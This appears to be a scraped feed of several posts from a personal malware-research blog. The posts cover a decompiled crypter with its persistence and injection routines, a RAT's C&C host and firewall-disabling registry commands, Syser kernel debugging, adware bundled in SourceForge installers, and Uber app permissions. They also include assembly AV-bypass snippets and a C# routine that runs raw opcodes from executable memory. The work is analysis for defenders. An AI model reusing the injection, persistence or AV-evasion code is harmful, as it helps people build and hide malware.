The ‘ue4tretr’ class is the most interesting. The ‘ThirdXorr’ method is, as you would probably guess, a class devoted to decryption of a bytestream passed to it. Code time:

using System;
using System.Text;
namespace Project1
{
	public class ThirdXorr
	{
		private string _defKey;
		public string Key
		{
			get
			{
				return this._defKey;
			}
			set
			{
				this._defKey = value;
			}
		}
		public ThirdXorr(string Key)
		{
			this._defKey = "";
			this.Key = Key;
		}
		public ThirdXorr()
		{
			this._defKey = "";
			this.Key = "";
		}
		public string PolyCrypt(string data)
		{
			return Encoding.Default.GetString(this.PolyCrypt(Encoding.Default.GetBytes(data)));
		}
		public string PolyDeCrypt(string data)
		{
			return Encoding.Default.GetString(this.PolyDeCrypt(Encoding.Default.GetBytes(data)));
		}
		public byte[] PolyCrypt(byte[] data)
		{
			byte[] array = new byte[data.Length + 1];
			array[0] = Convert.ToByte(new Random().Next(1, 255));
			int arg_2A_0 = 0;
			int num = data.Length - 1;
			for (int i = arg_2A_0; i <= num; i++)
			{
				array[i + 1] = ThirdXorr.ModuloByte(array[i], (short)data[i]);
			}
			return ThirdXorr.XorCrypt(array, Encoding.Default.GetBytes(this.Key));
		}
		public byte[] PolyDeCrypt(byte[] data)
		{
			data = ThirdXorr.XorCrypt(data, Encoding.Default.GetBytes(this.Key));
			byte[] array = new byte[data.Length - 2 + 1];
			for (int i = data.Length - 1; i >= 1; i += -1)
			{
				array[i - 1] = ThirdXorr.ModuloByte(data[i], (short)(-(short)data[i - 1]));
			}
			return array;
		}
		private static byte ModuloByte(byte myByte, short addition)
		{
			while (addition < 0)
			{
				addition += 256;
			}
			return Convert.ToByte((int)(((short)myByte + addition) % 256));
		}
		private static byte[] XorCrypt(byte[] data, byte[] Key)
		{
			if (Key.Length != 0)
			{
				int arg_0D_0 = 0;
				int num = data.Length - 1;
				for (int i = arg_0D_0; i <= num; i++)
				{
					data[i] = (data[i] ^ ThirdXorr.ModuloByte(Key[i % Key.Length], (short)Key[(int)Key[i % Key.Length] % Key.Length]) ^ Key[(i + i % 7) % Key.Length % Key.Length]);
				}
			}
			return data;
		}
		public string XorCrypt(string data)
		{
			return this.XorCrypt(data, null);
		}
		public string XorCrypt(string data, string Key)
		{
			return Encoding.Default.GetString(ThirdXorr.XorCrypt(Encoding.Default.GetBytes(data), Encoding.Default.GetBytes(Key)));
		}
	}
}

The ‘ue4tretr’ class is the main class and the real meat and potatoes of the malware binary. It contains multiple interesting methods for injection, persistance, and all of the IOC goodies us malware analysts like to flag. Observe:

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Project1.My.Resources;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
namespace Project1
{
	[StandardModule]
	internal sealed class ue4tretr
	{
		private static string Spy = "ofemeiecumestitu";
		private static string _fa1;
		private static string _fa2;
		private static string _fa3;
		private static string _fa4;
		private static string _fa5;
		private static byte[] _byteArray;
		private static SymmetricAlgorithm _algorithm = new RijndaelManaged();
		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		public static void tuy5u6ruy()
		{
			FileSystem.FileOpen(1, Process.GetCurrentProcess().MainModule.FileName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
			string expression = Strings.Space((int)FileSystem.LOF(1));
			FileSystem.FileGet(1, ref expression, -1L, false);
			FileSystem.FileClose(new int[]
			{
				1
			});
			string[] array = Strings.Split(expression, ue4tretr.Spy, -1, CompareMethod.Binary);
			ThirdXorr thirdXorr = new ThirdXorr(array[2]);
			string s = thirdXorr.PolyDeCrypt(array[1]);
			ue4tretr._fa1 = array[3];
			ue4tretr._fa2 = array[4];
			ue4tretr._fa3 = array[5];
			ue4tretr._fa4 = array[6];
			ue4tretr._fa5 = array[7];
			if (Operators.CompareString(ue4tretr._fa1, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Melt();
			}
			if (Operators.CompareString(ue4tretr._fa2, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Startup();
			}
			ue4tretr._byteArray = Encoding.Default.GetBytes(s);
			if (Operators.CompareString(ue4tretr._fa3, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Injection();
			}
			if (Operators.CompareString(ue4tretr._fa4, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.AppLaunch();
			}
			if (Operators.CompareString(ue4tretr._fa5, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Vbc();
			}
			if (Operators.CompareString(ue4tretr._fa2, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.FilePersistece();
			}
			ProjectData.EndApp();
		}
		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		public static void Melt()
		{
			try
			{
				string fileName = Process.GetCurrentProcess().MainModule.FileName;
				string text = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\explorer.exe";
				File.Delete(text);
				File.Move(fileName, text);
				Process.Start(text);
				File.SetAttributes(text, FileAttributes.Hidden);
				ProjectData.EndApp();
			}
			catch (Exception expr_44)
			{
				ProjectData.SetProjectError(expr_44);
				ProjectData.ClearProjectError();
			}
		}
		public static void Startup()
		{
			try
			{
				File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + "\\sppnp.exe");
				if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe"))
				{
					try
					{
						File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe", Resources.Project1);
					}
					catch (Exception arg_58_0)
					{
						ProjectData.SetProjectError(arg_58_0);
						ProjectData.ClearProjectError();
					}
					File.SetAttributes(Path.GetTempPath() + "\\sppnp.exe", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);
					File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.NotContentIndexed);
				}
			}
			catch (Exception arg_9A_0)
			{
				ProjectData.SetProjectError(arg_9A_0);
				ProjectData.ClearProjectError();
			}
		}
		public static void FilePersistece()
		{
			List<string> list = new List<string>();
			while (true)
			{
				try
				{
					Process[] processes = Process.GetProcesses();
					for (int i = 0; i < processes.Length; i++)
					{
						Process process = processes[i];
						list.Add(process.ProcessName);
					}
					if (!list.Contains("THEMECPL"))
					{
						Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe");
					}
					list.Clear();
					Thread.Sleep(100);
				}
				catch (Exception arg_5D_0)
				{
					ProjectData.SetProjectError(arg_5D_0);
					ProjectData.ClearProjectError();
				}
			}
		}
		public static void Injection()
		{
			if (Environment.OSVersion.Version.Major >= 6)
			{
				RuntimePortableExecutable.Windows7(ue4tretr._byteArray, Process.GetCurrentProcess().MainModule.FileName);
			}
			else
			{
				RuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Process.GetCurrentProcess().MainModule.FileName);
			}
		}
		public static void AppLaunch()
		{
			if (Environment.OSVersion.Version.Major >= 6)
			{
				RuntimePortableExecutable.Windows7(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\AppLaunch.exe");
			}
			else
			{
				RuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\AppLaunch.exe");
			}
		}
		public static void Vbc()
		{
			if (Environment.OSVersion.Version.Major >= 6)
			{
				RuntimePortableExecutable.Windows7(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
			}
			else
			{
				RuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
			}
		}
	}
}

Now for a little explaination. The other methods are self explainatory – we are most interested in the ‘tuy5u6ruy’ method. It should be noted that this method was exlicitly labled in the previous binary as to be called from the resource method. This particular method starts by opening a file handle of the running binary and returning a buffer containing the contents of the running binary. It then takes the contents of the array and runs its decryption routine on it (see class ‘ThirdXorr’ and finally runs the decrypted binary via the injection / persistance methods, adding the decrypted binary to startup. Ingenius.

Once again, we’re going to rip off the code of the malware to return the decrypted binary. We’ll have to make a few changes however, like instead of grabbing the running process for a byte stream, we’ll pass a static binary. After all, why run the malware when we don’t have to? Also, there are a few fixups to do as this was originally compiled with VB.net and not C#, so minor casting issues are to be fixed. Also, we need to be sure we open the original binary at the top of the chain, not the one from the resource file in the FileOpen() method call:

crackedagain

It’s taken us a while, but the we have finally arrived at the target binary which is supposed to run. This binary, aptly named ‘haha.wut’, decrypted from our ripped code, is NOT a .net binary. In fact, its a vb6 binary, a dll at that.

Filename: haha.wut
MD5 Hash: A953D2420CDAD1E4AE7F06AD56D893D7
Detection Ratio: Unknown

Packed? OF COURSE IT IS!

so_very_packed

From here, its a matter of running the thing in a controlled VM and pulling anything useful out of RAM. From what I saw, it wasn’t new 0day malware, rather some off the shell stuff called “nir_cmd.bss setsysvolume 65535″, and is a RAT. I know this because of the unique string present in the binary “bss_server.Socket” which, after a quick google search, is present in the malware “Ainslot”, one of the dozens of Zues variants which would technically make it a banker bot. See http://www.virusradar.com/Win32_Ainslot.AA/description.

What it does is turn off the firewall, gets the IP / geolocation, and then attempt to call home to a dynamic DNS provider. unfortunately for me, the IP associated with the dynamic DNS provider was no longer valid, however at the time, I’m told it pointed back to Syria.

C&C host: alosh66.servecounterstrike.com

nf1.no-ip.com [50.31.129.129]
nf2.no-ip.com [69.72.255.8]
nf3.no-ip.com [69.65.40.108]
nf4.no-ip.com [69.65.5.122]
Query for DNS records for alosh66.servecounterstrike.com failed: Timed out

Memory info:

x27adf74 (314): cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v “DoNotAllowExceptions” /t REG_DWORD /d “0″ /f
0x27ae118 (282): cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v ”
0x27ae238 (32): ” /t REG_SZ /d ”

0x27aebcc (32): api.ipinfodb.com
0x27aebf4 (50): GET /v2/ip_query.php?key=
0x27aec2c (44): &timezone=off HTTP/1.1
0x27aec60 (44): Host: api.ipinfodb.com
0x27aec94 (46): Cache-Control: no-cache
0x27aece4 (20):
0x27aed10 (22):
0x27aed2c (66): GET /v2/ip_query_country.php?key=
0x27aed74 (26):
0x27aeda8 (24):
0x27aede8 (26): MaxClockSpeed

Good stuff right?

You can download the source for the first reversal app here, the second here, and the full malware / logs / good stuff here. The password is ‘infected’.

Happy cracking!

woody

Syser + VirtualBox = Win

$
0
0

Greetings and salutations fellow readers.

Recently I’ve had to step into the awful world of kernel debugging. When malware drops a rootkit and conventional userland debugging falls short, you have to step into ring 0. Unfortunately, options are rather limited when it comes to decent ring0 debugging on windows.

What’s that one debugger everyone’s heard of but can’t ever get working? If you said SoftIce, you’re right. Getting softice to run these day’s is a pain in the butt. Especially since its largely broken in Windows 7, support ended in 2006, and the damn thing crashes even if you do get it working. There has got to be SOME alternative right?

Enter Syser. SoftIce 2 – Electric Boogaloo.
SyserLogo

There are a few things Syser does that Softice don’t –

1) Colors
2) More than 1 CPU
3) Source debugging
4) Windows 7/8
5) A better looking GUI

At this time however, the website that hosts Syser is offline. This makes obtaining it harder than usual, but not impossible. I think CNET offers a download.

Can you run Syser in a VM? Of course!
syser1

But that doesn’t mean there aren’t a few things you need to do to get shit working right.

Problems I ran into on VirtualBox:

    Screen refresh
    Mouse Not Working
    Random BSODs

-=Screen Refresh=-
If you can somehow modify the source for VirtualBox, adjust the screen refresh rate to be every 5 seconds or so.
My way around this in VirtualBox is to run windows in 256 color mode. It looks ugly as sin, but it works fine at any resolution.
syser256

The alternative to that is clicking outside the window every second. That said, a way to force a refresh would be some sort of app with a time that constantly calls ‘UpdateWindow’. I was thinking something like this:

#include <windows.h>

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) 
{
	HWND mywind = FindWindow(NULL,"xp crapbox"); // name in window title
	UpdateWindow(mywind);
}

int main(int argc, char *argv[]) 
{
	MSG Msg;
    UINT TimerId = SetTimer(NULL, 0, 5000, &TimerProc); // 5 seconds
    if (!TimerId)
    return 16;
    while (GetMessage(&Msg, NULL, 0, 0)) 
	{
	DispatchMessage(&Msg);
    }
    KillTimer(NULL, TimerId); // app exit cleanup
    return 0;
}

It beats compiling VirtualBox from source just to adjust the refresh.

-=Mouse Not Working=-

The problem here is that Syser will not attempt to use your USB emulated mouse. It will instead load the driver for a PS/2 mouse (remember those?).
The fix is to set the pointing device to use PS/2 instead of USB.
mousework

Also be sure to adjust the mouse sensitivity value in Syser’s config settings.
mousework2

-=Random BSOD’s=-

Easy solution – snapshots. Kinda lame, but expect BSOD’s when working with a kernel debugger. It’s just a part of life.

Problems I ran into on VMWare:
“Unable to start MSI” – I cant even install the piece of shit. For all intents and purposes I’ll be focusing on getting syser working on VirtualBox. If you use vmware, add the following lines to your vmware config file:
vmmouse.present = “FALSE”
svga.maxFullscreenRefreshTick = “5”

This will allow you to make use of the mouse and be able to actually see the syser window without having to switch to the desktop and vm over and over. Or you could run my program from above and disregard the mouse.

-=Running Syser=-

Much like Softice, Syser has a keyboard shortcut to invoke the debugger and essentially ‘pause’ execution of the OS. Control + F12.
When paused like this, you can single step just like any other debugger. ‘F5′ will continue execution with Syser running. Pressing control + F12 will unload the Syser driver. F11 to step in, F10 to step over.

The command console (control + 2) allows for windbg style commands to be entered:
syser.
Quite powerful, but one might prefer to see what they’re doing and stick with the system explorer.

Anywho, I thought I’d share this awesome tool with you all before my next blog post in which I will be diving deep into the FinFisher malware dropped on WikiLeaks a few weeks back. I saw a writeup done, however it was incomplete after peeking through the malware myself. Except a nice entry / writeup on this malware soon.

1249091581443

Damn You SourceForge

$
0
0

SourceForge has been around as long as I can remember. Bringing open source projects to the world for people to download and peer at source code and projects.
With github taking over in popularity, the need for SourceForge has dwindled. Slashdot owns SourceForge now (or maybe they always have? I don’t recall).
So what brings my piss to a boil today? Malware hosted on SourceForge. You’d think they’d have some sort of AV scan on their CDN, but no! I try and reach out to SourceForge, but its in Vain – they wont even get back to me / acknowledge my existence.

Take ‘Nick’ for example.
https://sourceforge.net/u/ub3rst4r/profile/
Bunch of projects, claiming GPL open source, but then you look up one of the binaries on VirusTotal
https://www.virustotal.com/en/file/69a7d7e2d7c3deb663abf60273e70b35f42920401cd754b6bce4a7cb67ebdac0/analysis/
23/55. That’s a serious problem. You’ll also notice all of the fake reviews claiming the software is good.

Mr Nick is surprisingly easy to find on the net. A few seconds on google reveals this isn’t his first time distributing malware.
uberstar1
Speculation? No, google earth is free.

And for all of you ladies out there, he’s single

Let’s peek inside just for shits and giggles shall we?

I’m grabbing Little Privacy Cleaner (ironic as fuck).
The icon appears to be an older nullsoft installer. This means the old 7-zip trick works and I don’t have to run it to pull the files out (yet).
littleprivacycleaner1

We see our ‘GPL.txt’ as well as the clean portable binary, however we’re interested in the other stuff that gets packed along side. Normally the $TEMP folder in regards to Nullsoft installers contains any DLL’s the application will need to place when installing. Inside we see a .net framework installer and something named ‘Product21361_Distribution22179_Partner15953.exe’. Seems legit.

Filename: Product21361_Distribution22179_Partner15953.exe
MD5 Hash: BCCE565C894B1B1E85A6162459A284B6
Detection ratio: 13 / 55

Once again, another nullsoft installer, but this one is different, there’s no exe inside. Just a dll.

Opening this ‘Product21361_Distribution22179_Partner15953.exe’ in 7zip shows us some file named ‘revs.dat’, and a dll named ‘convert.dll’.

nullsoft0

Rev.dat doesn’t seem to contain any useful data, in fact its a bunch of gibberish. I’ll bet dollars to donuts that ‘convert.dll’ most likely decodes / decrypts this file as an exe. That said, let’s poke around inside this nullsoft installer with our debugger, see if we can’t extract something good. Since there is no exe inside the archive, the fastest way to seeing what’s actually inside is to set a breakpoint on CreateProcessA. If you like going through things thoroughly, then set breakpoints on WriteFile and follow the second arg, however in the interest of saving time / being lazy, let’s just break on CreateProcess.

nullsoft1

Looks like we have our true ‘revs.exe’ file running out of the temp folder. You’ll also notice a URI in the command line arguments to ‘installer.ppodownload.com’.
This is most certainly our dropper that grabs all the goodies off the net. When I ran the thing and watched, it pulled down a few other files including some system checker tool, something named ‘svchost.exe’. Here’s a small exert from WireShark:
GET /apps/dist/3333-1050_CheckMeUp.exe
HTTP/1.0Host: fmc.pagecdn.org
User-Agent: NSISDL/1.2 (Mozilla)
Accept: */*HTTP/1.1 200 OKD
ate: Fri, 10 Oct 2014 10:02:30 GMT
Expires: Thu, 16 Oct 2014 15:38:48 GMT
Last-Modified: Sun, 05 Oct 2014 12:17:37 GMT
Cache-Control: max-age=604800
Content-Type: application/octet-stream
ETag: “6abdac-504abf3a2ba40″
Accept-Ranges: bytes
Server: Apache
Content-Length: 6995372
Connection: close
MZ………………….@………………………………………..!..L.!This

I think it’s safe to conclude this “GPL” software is about as GPL as the Powerpoint.

Another one I stumbled across was called DVDStyler made by a guy named Alex Thuering.

Check out this guy’s bug list
buglist

He neither confirms nor denies malware in his project and marks it as “wont fix”. What an asshole.

Bad mouthing aside, let’s dive into his software shall we?
Running the installer at first goes normally until I notice a service is created.
What the hell is this shit?
dvdspyware Bunch of advertising BS and spyware. Cock smokers. Here’s some of the crap pulled down from WireShark:

GET /downloader/dvdstyler/dvdstyler/6f56ee8639e18848b79eec5679bbae0f?v=2.4&uid=6f56ee8639e18848b79eec5679bbae0f&muid=A9D8BBF4D5B810A589F48F3EF32D0571&v1=UGxlYXNlIHdhaXQgd2hpbGUgV01JQyBpcyBiZWluZyBpbnN0YWxsZWQuU2VyaWFsTnVtYmVyICBWZXJzaW9uICAgICANDQowICAgICAgICAgICAgIFZCT1ggICAtIDE&v2=1 HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727)Host: sub.miscitation.infoConnection: Keep-Alive

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=a9d8bbf4d5b810a589f48f3ef32d0571&client_uid=5368988CCFFF48B29F5855AB56C0ADB0&uniqid=false&affiliate_id=dvdstyler&software_id=dvdstyler&sponsored_id=searchprotect_installium_us&tokyo_csrf2_key=de0c73b1757db2b541c4a44e9b63a5a1&tokyo_csrf2_timestamp=1413012549&slot_number=1&index_in_screen=1&index_in_session=1&0.24582076660798047 HTTP/1.1Accept: */*Referer: http://sub.miscitation.info/downloader/dvdstyler/dvdstyler/6f56ee8639e18848b79eec5679bbae0f?v=2.4&uid=6f56ee8639e18848b79eec5679bbae0f&muid=A9D8BBF4D5B810A589F48F3EF32D0571&v1=UGxlYXNlIHdhaXQgd2hpbGUgV01JQyBpcyBiZWluZyBpbnN0YWxsZWQuU2VyaWFsTnVtYmVyICBWZXJzaW9uICAgICANDQowICAgICAgICAgICAgIFZCT1ggICAtIDE&v2=1Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727)Host: sub.miscitation.infoConnection: Keep-Alive

The rage continues. Check out this one.
This asshat is distributing his software with a bitcoin miner. 0 mention of this in the installer. Fuckin prick.
At least he acknowledges it in the forums.

It seems the SourceForge installer contributes to the problem with their own crap.
angryip
angryip2
Here I used to like Angry IP scanner, but not any more. Then again, why bother when nmap does a much better job?

Next up is SMPlayer. Pretty popular in terms of downloads
popular

‘Tenbob’ knows what’s up, however ‘adem4ik’ is either a bot account or has swallowed the blue pill.
redpill

There’s more of them out there too. Websites I used to trust have gone over to the ‘Dark Side’. CNET for example….

Thanks for reading!

Oh and I’ll be speaking at ToorCon this year in San Diego on in 2 weeks. I’ll be giving a breakdown on the FinFisher malware suite. I was gonna hold off until then to post my writeup, to keep the suspense.

1412982063724

assembly, c-sharp, anti-sandbox, anti-antivirus, anti-debug, and malware research

$
0
0

Hello fellow readers!

You all are probably wondering what the hell I’ve been up to this past month. Lot’s of stuff. This post is all over the place with code and slides and malware and general wackiness. Rather than spreading it out over several blog posts, I decided to just get it all over with so I can focus on cooler things in the future.

I saw an interesting webinar on sandbox detection techniques employed by malware by Cyphort. They haven’t released their slides like they said they would, so here are the ones I took. These are cool and all, but I felt like I could contribute.

I read an awesome paper on bypassing antiviruses by employing a number of code based tricks. The idea behind them was that AV’s will skip binaries based on certain behaviors. One thing missing though – an AV will skip the “dropper” heuristic if the file ends in ‘.msi’. All the code I saw was in C/C++. I figured why not try and convert it to assembly? Next thing to do is make a patcher that can inject these into pre-compiled binaries. A future project perhaps? Anyways, I only did 2 before I lost interest. Read the article here.

;AV bypass 1
xor     eax, eax
db Caption "Joe"
db Text "Giron"
mov     edx, 5F5E100h
joe:
inc     eax
dec     edx
jnz     joe
cmp     eax, 5F5E100h
jnz     short urafag
push    0               ; MB_OK
push    offset Caption
push    offset Text   
push    0               ; hWnd 
call    MessageBoxA
urafag:
xor     eax, eax
retn

;AV bypass 1.5
; same as above, just using the loop instruction instead of branching conditionals
xor     eax, eax
db Caption "Joe"
db Text "Giron"
mov     ecx, 5F5E100h
joe: ; essentially do nothing
mov eax,10
mov ebx,20
xchg eax,ebx
loop joe
; now start code
xor eax,eax
xor ebx,ebx
push    0               ; MB_OK
push    offset Caption
push    offset Text   
push    0               ; hWnd 
call    MessageBoxA
retn

;AV bypass 2
push    ebx
push    edi
push    5F5E100h        ; bytes to alloc
push    40h             ; zero init
call    GlobalAlloc
mov     ebx, eax
test    ebx, ebx
jz      short cleanup
mov     edi, ebx
mov     eax, 0FFFFFFF1h
mov     ecx, 5F5E100h
rep stosb
push    0               ; MB_OK
push    offset Caption  ; "Joe"
push    offset Text     ; "Giron"
push    0               ; hWnd
call    MessageBoxA
push    ebx             ; memory handler
call    GlobalFree
cleanup:                             
xor     eax, eax
pop     edi
pop     ebx
retn

Feels good to put my crappy assembly skills to good use. Especially now that I figured out how to use inline assembly within C#. Sort of. The way it works is by utilizing delegates and cramming code inside an executable code page. Observe this piece of genius:

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;

namespace InLineAsm
{
    static class Program
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate void JoesAntiDebuggery();

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, IntPtr flAllocationType, IntPtr flProtect);

		static byte[] opcodez = {
		0x55, 0x89, 0xE5, 0x31, 0xC0, 0xBA, 0x00, 0xE1, 0xF5, 0x05, 0x40, 0x4A, 0x75, 0xFC, 0x3D, 0x00,
		0xE1, 0xF5, 0x05, 0x75, 0x14, 0x6A, 0x00, 0x68, 0x12 ,0x70, 0x40, 0x00, 0x68, 0x0C, 0x70, 0x40,
		0x00, 0x6A, 0x00, 0xFF, 0x15, 0xD0, 0x80, 0x40, 0x00, 0x31, 0xC0, 0x68, 0x00, 0x70, 0x40, 0x00,
		0xE8, 0x3B, 0x00, 0x00, 0x00, 0x59, 0x31, 0xC0, 0x89, 0xEC, 0x5D, 0xC3 
		}
		// opcodes taken from disassembled program.
		/*
		__asm
		{
		xor     eax, eax
		mov     edx, 5F5E100h
		joe:
		inc     eax
		dec     edx
		jnz     joe
		cmp     eax, 5F5E100h
		jnz     short urafag
		}
		MessageBox(0,Text, Caption,0);
		__asm
		{
		urafag:
		xor     eax, eax
			
		}
		*/

		static IntPtr codeBuffer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)opcodez.Length), (IntPtr)(0x1000 | 0x2000), (IntPtr)0x40);
		// EXECUTE_READWRITE, MEM_COMMIT | MEM_RESERVE
		Marshal.Copy(opcodez, 0,codeBuffer, opcodez.Length);
		JoesAntiDebuggery JoeDbg = (JoesAntiDebuggery)
		Marshal.GetDelegateForFunctionPointer(codeBuffer, typeof(JoesAntiDebuggery));
        
        static void Main(string[] args)
        {
           Console.Write("lol");
           JoeDbg();
        }

    }
}

It’s a thing of beauty – Assembly, C code, op codes / hex, delegates, and C#.

Moving on to what else I’ve been up to – pulling apart malwarez. This one piece gave me trouble for a few days. Namely because of the weird anti-debugging counter measure I encountered. I’m unsure if its even anti-debug as the conditions always seem to equate to false. I mean it’s easy to get around when you see it, but you can’t get around it automatically – you have to patch it. I even took a video of the weird behavior.

Took me some time, but I figured it out.

The following is the sequence called not 5 instructions after the entry point
anti-debuggery

sub_4017CF      proc near               
push    ebp
mov     edi, edx
add     edi, ebx
not     ebx
mov     ebp, esp
add     edi, ebx
add     esp, 0FFFFFF94h
mov     edx, ebx
inc     ebx
mov     ecx, esp
dec     ebx
mov     edi, eax
add     ecx, 48h
mov     ebx, ecx
dec     edi
cmp     eax, ecx
jz      short labelforyou
neg     edx
leave
not     edx
mov     eax, edi
neg     eax
leave
add     edx, edi
not     edx
retn
labelforyou:                          
leave
retn

The first thing you may notice about this procedure is the weird stack frame setup. Most of the time, the intro stack frame will be “push ebp” followed directly by “mov ebp, esp”. This one is different in that it plays with the registers a little before the “mov ebp, esp” assembly codes. You may also notice the 2 “leave” instructions at the end of the procedure as opposed to the 1 for the “labelforyou” conditional. The 2 “leave” instructions are why the program jumps to ExitThread. When you leave a stack frame twice and ‘ret’, any windows program jumps to ntdll.RtlExitUserThread. An interesting intrinsic way of quietly exiting without warning.

But what about the code that leads up to the ‘JZ’ branch and the 2 leaves? The comparison is EAX to ECX. Every time I run, EAX always ends up as 1 and ECX as some stack address. I’m postulating that the malware I grabbed was extracted from a dropper. That makes sense given the stack value / pointer points to nothing useful.

If you’re curious what the malware does, it attempts to download and run a ‘doc’ file from a russian host. Inside the ‘doc’ file is HTML code with a meta redirect to a host my DNS server can’t seem to find:
what it do

You can download the malware here. Pass in ‘infected’.

The other piece of malware I went through lacked a DOS sub. Most exe’s have this little DOS application inside that reads “this program cannot be run in DOS mode” and is placed at the start of an exe just in case someone attempts to run an exe on an old DOS system. Its a forward compatibility thing Microsoft does. Compare a normal exe to the binary:
w1

So how the hell do you remove the DOS sub and still maintain functionality? According to TinyPE, you do it in assembly via zeroing out the MZ header with the exception of the ‘e_magic’ field ‘MZ’ at the start and the ‘e_lfanew’ field value at the bottom. The ‘e_lfanew’ field is just a 4 byte offset to where the PE header is located.

mzhdr:
    dw "MZ"                       ; e_magic
    dw 0                          ; e_cblp UNUSED
    dw 0                          ; e_cp UNUSED
    dw 0                          ; e_crlc UNUSED
    dw 0                          ; e_cparhdr UNUSED
    dw 0                          ; e_minalloc UNUSED
    dw 0                          ; e_maxalloc UNUSED
    dw 0                          ; e_ss UNUSED
    dw 0                          ; e_sp UNUSED
    dw 0                          ; e_csum UNUSED
    dw 0                          ; e_ip UNUSED
    dw 0                          ; e_cs UNUSED
    dw 0                          ; e_lsarlc UNUSED
    dw 0                          ; e_ovno UNUSED
    times 4 dw 0                  ; e_res UNUSED
    dw 0                          ; e_oemid UNUSED
    dw 0                          ; e_oeminfo UNUSED
    times 10 dw 0                 ; e_res2 UNUSED
    dd pesig                      ; e_lfanew

But what about doing it to a pre-compiled binary? I just used CFF explorer and HXD. Jot down the ‘e_lfanew’ field offset and zero out the entries between the PE header, the MZ field, and the ‘e_lfanew’ field:
remove_dos_sub

The malware does code running modification and is surprisingly sophisticated, but this blog post is long enough. I’m done for now.

The next post will be much more interesting, however its unfinished and needs more research. Except it soon.

BiNUecP

What the hell Uber? Uncool bro.

$
0
0

New-Logo-Vertical-Dark

Howdy ho!

This is one of those interim posts where I’m not posting something cool, but rather something that’s bothering me. You know, like a blog post?

Anyways, I downloaded Uber the other day and its pretty cool and handy. The only qualm I had was with all the permissions it asked for.

You can see the permissions the app wants to use by viewing the “AndroidManifest.xml” file inside the APK. just open the thing with 7zip and view it. Unfortunately doing this will yield garbage data. droid1

The easiest way I’ve seen is to use a tool like xml-apk-parser.
droid2

Now we can get a clearer picture of what the heck it wants permission to use:

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION">
</uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION">
</uses-permission>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE">
</uses-permission>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE">
</uses-permission>
<uses-permission android:name="android.permission.CALL_PHONE">
</uses-permission>
<uses-permission android:name="android.permission.CAMERA">
</uses-permission>
<uses-permission android:name="android.permission.GET_ACCOUNTS">
</uses-permission>
<uses-permission android:name="android.permission.INTERNET">
</uses-permission>
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS">
</uses-permission>
<uses-permission android:name="android.permission.READ_CONTACTS">
</uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE">
</uses-permission>
<uses-permission android:name="android.permission.USE_CREDENTIALS">
</uses-permission>
<uses-permission android:name="android.permission.VIBRATE">
</uses-permission>
<uses-permission android:name="android.permission.WRITE_SETTINGS">
</uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE">
</uses-permission>
<uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES">
</uses-permission>
<permission android:name="com.ubercab.permission.C2D_MESSAGE" android:protectionLevel="0x00000002">
</permission>
<permission android:name="com.ubercab.permission.NOTIFY_ACTION" android:protectionLevel="0x00000002">
</permission>
<uses-permission android:name="com.ubercab.permission.C2D_MESSAGE">
</uses-permission>
